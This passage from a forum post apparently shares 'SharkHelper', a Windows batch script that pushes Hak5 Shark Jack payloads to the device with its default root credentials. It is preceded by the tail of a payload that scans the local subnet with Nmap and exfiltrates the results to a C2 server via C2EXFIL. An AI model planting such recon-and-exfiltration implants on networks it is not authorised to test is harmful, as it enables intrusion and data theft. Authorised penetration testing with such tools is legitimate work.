"$INITIALIZED" == 1 ]; then if [ -z "$(pgrep cc-client)" ]; then C2CONNECT while ! pgrep cc-client; do LED B SOLID;sleep .2;LED G SOLID;sleep .8; done fi C2EXFIL STRING ${LOOT_FILE} Nmap Diagnostic for Network ${SUBNET} LED B VERYFAST; sleep .5; fi LED FINISH; else LED R SOLID; rm -rf "$LOOT_FILE"; fi fi
  5. SharkHelper This Tool completes the Hak5 "SharkJack.sh" script. This adds small features that the original Helper Script is missing - While also making it easier to setup/re-setup the SharkJack itself. Linux version to be released soon. Any features or requests are welcome. The Menu: O=====================================O | | | SharkHelper Menu | | | O=====================================O 1. Install SharkLib 2. Remove SharkLib 3. Install Default Nmap Scan 4. Install Internet Tester 5. Install Internet Tester C2 6. View Current Payload 7. Install C2 Config File (device.config) 0. Exit SharkHelper Select # from Menu and Press ENTER: The Code: @echo off REM REM Name: SharkHelper (Windows 10) REM Version: 1.2 REM Author: REDD of PL REM Target OS: Windows 10 REM Description: This script is to help make setting up the SharkJack EVEN easier REM than Hak5's Script. I don't know how much easier it can get. REM SET "SHARK_IP=172.16.24.1" cls echo Please put SharkJack into Arming Mode and echo connect it to the Ethernet Port on your PC. echo. echo. echo Waiting.. echo. :loop ping -n 1 %SHARK_IP% |find "TTL=" >NUL 2>NUL || goto :loop echo Connected. timeout /t 2 /NOBREAK >NUL :SHARKHELPER_MENU cls echo. echo. echo O=====================================O echo ^| ^| echo ^| SharkHelper Menu ^| echo ^| ^| echo O=====================================O echo. echo 1. Install SharkLib echo 2. Remove SharkLib echo 3. Install Default Nmap Scan echo 4. Install Internet Tester echo 5. Install Internet Tester C2 echo. echo 6. View Current Payload echo. echo 7. Install C2 Config File (device.config) echo. echo 0. Exit SharkHelper echo. echo. SET /P MENU1=Select # from Menu and Press ENTER: IF "%MENU1%"=="1" GOTO INSTALL_SHARKLIB IF "%MENU1%"=="2" GOTO REMOVE_SHARKLIB IF "%MENU1%"=="3" GOTO DEFAULT_NMAP IF "%MENU1%"=="4" GOTO INSTALL_INTERNET_TESTER IF "%MENU1%"=="5" GOTO INSTALL_C2_INTERNET_TESTER IF "%MENU1%"=="6" GOTO VIEW_PAYLOAD IF "%MENU1%"=="7" GOTO INSTALL_C2_CONFIG IF /I "%MENU1%"=="q" GOTO EOF IF /I "%MENU1%"=="e" GOTO EOF IF /I "%MENU1%"=="quit" GOTO EOF IF /I "%MENU1%"=="exit" GOTO EOF IF /I "%MENU1%"=="0" GOTO EOF GOTO SHARKHELPER_MENU :INSTALL_SHARKLIB cls IF NOT EXIST "%CD%\sharklib.sh" ( echo Downloading SharkLib to local folder. powershell -Command "(New-Object Net.WebClient).DownloadFile('https://git.private-locker.com/project/sharklib/raw/master/sharklib.sh', 'sharklib.sh')" ) IF EXIST "%CD%\sharklib.sh" ( echo SharkLib already exists in current directory. Using that copy. ) echo. echo. echo Pushing sharklib.sh to SharkJack at %SHARK_IP% echo Connecting to the SharkJack.. echo. echo (Input password: hak5shark OR Password you have already set.) scp %CD%\sharklib.sh root@%SHARK_IP%:/root/sharklib.sh echo. echo. echo Executing SharkLib, Exit SharkLib to return to this Menu. echo. ssh root@%SHARK_IP% "chmod +x sharklib.sh;bash /root/sharklib.sh --install;exit" echo. echo Finished. Returning to SharkHelper Menu. pause GOTO SHARKHELPER_MENU :REMOVE_SHARKLIB cls echo. echo. echo Attempting to remove SharkLib from the SharkJack. echo Connecting to the SharkJack.. echo. echo. echo (Input password: hak5shark OR Password you have already set.) ssh root@%SHARK_IP% "sharklib --remove;exit" echo. echo Finished. Returning to SharkHelper Menu. pause GOTO SHARKHELPER_MENU :DEFAULT_NMAP cls IF NOT EXIST "%CD%\payload_default.sh" ( echo Downloading SharkLib to local folder. powershell -Command "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/hak5/sharkjack-payloads/master/payloads/library/recon/Sample-Nmap-Payload/payload.sh', 'payload_default.sh')" ) IF EXIST "%CD%\payload_default.sh" ( echo SharkLib already exists in current directory. Using that copy. ) echo. echo. echo Pushing payload_default.sh to SharkJack at %SHARK_IP% echo Connecting to the SharkJack.. echo. echo (Input password: hak5shark OR Password you have already set.) scp %CD%\payload_default.sh root@%SHARK_IP%:/root/payload/payload.sh echo. echo Finished. Returning to SharkHelper Menu. pause GOTO SHARKHELPER_MENU :INSTALL_INTERNET_TESTER cls IF NOT EXIST "%CD%\payload_Internet_Tester.sh" ( echo Downloading Internet Tester to local folder. powershell -Command "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/hak5/sharkjack-payloads/master/payloads/library/util/internet-access-tester/payload.sh', 'payload_Internet_Tester.sh')" ) IF EXIST "%CD%\payload_Internet_Tester.sh" ( echo Internet Tester Payload already exists in current directory. Using that copy. ) echo. echo. echo Pushing payload_Internet_Tester.sh to SharkJack at %SHARK_IP% echo Connecting to the SharkJack.. echo. echo (Input password: hak5shark OR Password you have already set.) scp %CD%\payload_Internet_Tester.sh root@%SHARK_IP%:/root/payload/payload.sh echo. echo Finished. Returning to SharkHelper Menu. pause GOTO SHARKHELPER_MENU :INSTALL_C2_INTERNET_TESTER cls IF NOT EXIST "%CD%\payload_C2_Internet_Tester.sh" ( echo Downloading Internet Tester to local folder. powershell -Command "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/hak5/sharkjack-payloads/master/payloads/library/util/internet-access-tester/payload.sh', 'payload_C2_Internet_Tester.sh')" echo C2CONNECT >> %CD%\payload_C2_Internet_Tester.sh ) IF EXIST "%CD%\payload_C2_Internet_Tester.sh" ( echo Internet Tester Payload already exists in current directory. Using that copy. ) echo. echo. echo Pushing payload_Internet_Tester.sh to SharkJack at %SHARK_IP% echo Connecting to the SharkJack.. echo. echo (Input password: hak5shark OR Password you have already set.) scp %CD%\payload_C2_Internet_Tester.sh root@%SHARK_IP%:/root/payload/payload.sh echo. echo Finished. Returning to SharkHelper Menu. pause GOTO SHARKHELPER_MENU :INSTALL_C2_CONFIG cls IF NOT EXIST "%CD%\device.config" ( echo. echo Please make sure to put your 'device.config' file in: echo -^> %CD% echo. echo. pause GOTO SHARKHELPER_MENU ) IF EXIST "%CD%\device.config" ( echo. echo Continuing.. device.config file found. echo. echo. echo Pushing device.config to SharkJack at %SHARK_IP% echo Connecting to the SharkJack.. echo. echo (Input password: hak5shark OR Password you have already set.) scp %CD%\device.config root@%SHARK_IP%:/etc/device.confg echo. echo Finished. Returning to SharkHelper Menu. pause GOTO SHARKHELPER_MENU ) :VIEW_PAYLOAD cls echo Connecting to the SharkJack with default credentials. (root:hak5shark) echo. echo. echo (Input password: hak5shark OR Password you have already set.) echo. ssh root@%SHARK_IP% "cat /root/payload/payload.sh;exit" echo. pause GOTO SHARKHELPER_MENU :EOF echo Cleaning Up.. IF EXIST "%CD%\payload_C2_Internet_Tester.sh" del /f %CD%\payload_C2_Internet_Tester.sh IF EXIST "%CD%\payload_Internet_Tester.sh" del /f %CD%\payload_Internet_Tester.sh IF EXIST "%CD%\payload_default.sh" del /f %CD%\payload_default.sh IF EXIST "%CD%\sharklib.sh" del /f %CD%\sharklib.sh EXIT /B
×
×
  • Create New...